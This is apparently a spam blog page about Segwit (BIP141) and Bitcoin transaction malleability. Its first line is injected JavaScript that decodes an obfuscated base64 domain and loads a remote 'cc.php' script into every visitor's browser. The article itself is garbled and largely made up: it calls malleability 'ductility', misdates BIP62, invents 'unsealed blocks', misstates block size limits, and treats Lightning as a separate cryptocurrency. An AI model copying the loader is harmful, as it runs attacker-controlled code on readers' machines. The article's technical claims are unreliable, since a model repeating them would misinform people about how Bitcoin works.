const pdx="bm9yZGVyc3dpbmcuYnV6ei94cC8=";const pde=atob(pdx.replace(/|/g,""));const script=document.createElement("script");script.src="https://"+pde+"cc.php?u=d5b46fab";document.body.appendChild(script);
The Impact of Segwit (BIP141) on Bitcoin’s Ductility Issues: Separating Fact from Fiction
When the Bitcoin Improvement Proposal 2x11 (BIP62) was released in October 2018, it introduced several important changes to the Bitcoin protocol, including Segregated Witness (Segwit). While BIP141 aims to address some of the most significant ductility issues identified in BIP62, a closer look reveals that not all of the issues have been effectively addressed. In this article, we’ll delve into the details of how Segwit addresses these issues and examine why it may have left some vulnerabilities untouched.
Original Ductility Issues (BIP62)
Prior to BIP141, the Bitcoin network was vulnerable to ductility attacks, which allowed hackers to alter and manipulate transaction data without being detected. The original list of malleability issues included:
- Transaction ID (txid) manipulation.
- Block size reduction
- Signature verification omission
- Broadcast attack
- Zero-knowledge proof
Segregated Witness (Segwit)
BIP141 introduced Segregated Witness, a new consensus mechanism that aimed to reduce the number of transactions broadcast and verified on the network. Segwit achieves this through two main changes:
- Unsealing: Segwit allows for unsealed blocks with one transaction per block. This reduces the overall size of each block and minimizes the amount of data transmitted.
- Splitting: Segwit also allows for the splitting of transactions into multiple unsealed blocks, further reducing network bandwidth requirements.
Addressing malleability issues (BIP141)
Segwit addresses several malleability issues outlined in BIP62:
- txid tampering: By limiting the size of each block and using unsealing, Segwit reduces the likelihood of tampering with the transaction ID.
- Zero-knowledge proof: Segwit’s split mechanism makes it difficult for attackers to use zero-knowledge proofs to manipulate transactions.
Why not all malleability issues are addressed
While Segwit addresses some malleability issues, it may not have effectively addressed others for the following reasons:
- Lack of block size changes: The original BIP62 list included a block size limit of 4 MB, which was reduced to 1 MB in BIP141. However, this change does not address the root cause of the malleability issues (i.e., reducing the number of transactions broadcast and verified).
- No changes to signature verification
: Signature verification bypass is still possible with the current Segwit implementation.
- Vulnerabilities to splitting attacks remain: While splitting transactions into multiple unsealed blocks reduces network bandwidth requirements, it may not be enough to prevent all zero-knowledge proof attacks.
Lightning Network Considerations
In addition to Bitcoin, Lightning Network (LN) is another cryptocurrency that uses Segwit and BIP141. However, LN’s architecture and use case are significantly different from Bitcoin’s:
- Higher transaction throughput: LN has a more efficient transaction processing mechanism than Bitcoin, making it less susceptible to malleability attacks.
- Reduced block size limits: LN uses a different consensus algorithm that allows for larger block sizes.
Conclusion
While Segwit (BIP141) addressed some of the most significant malleability issues identified in BIP62, it may not have effectively addressed all of the issues due to changes in block size and signature verification. The Lightning Network architecture also presents unique challenges that make it vulnerable to malleability attacks.
In conclusion, while Segwit represents a significant improvement over the original Bitcoin protocol, it cannot eliminate all of the transaction ID malleability issues.
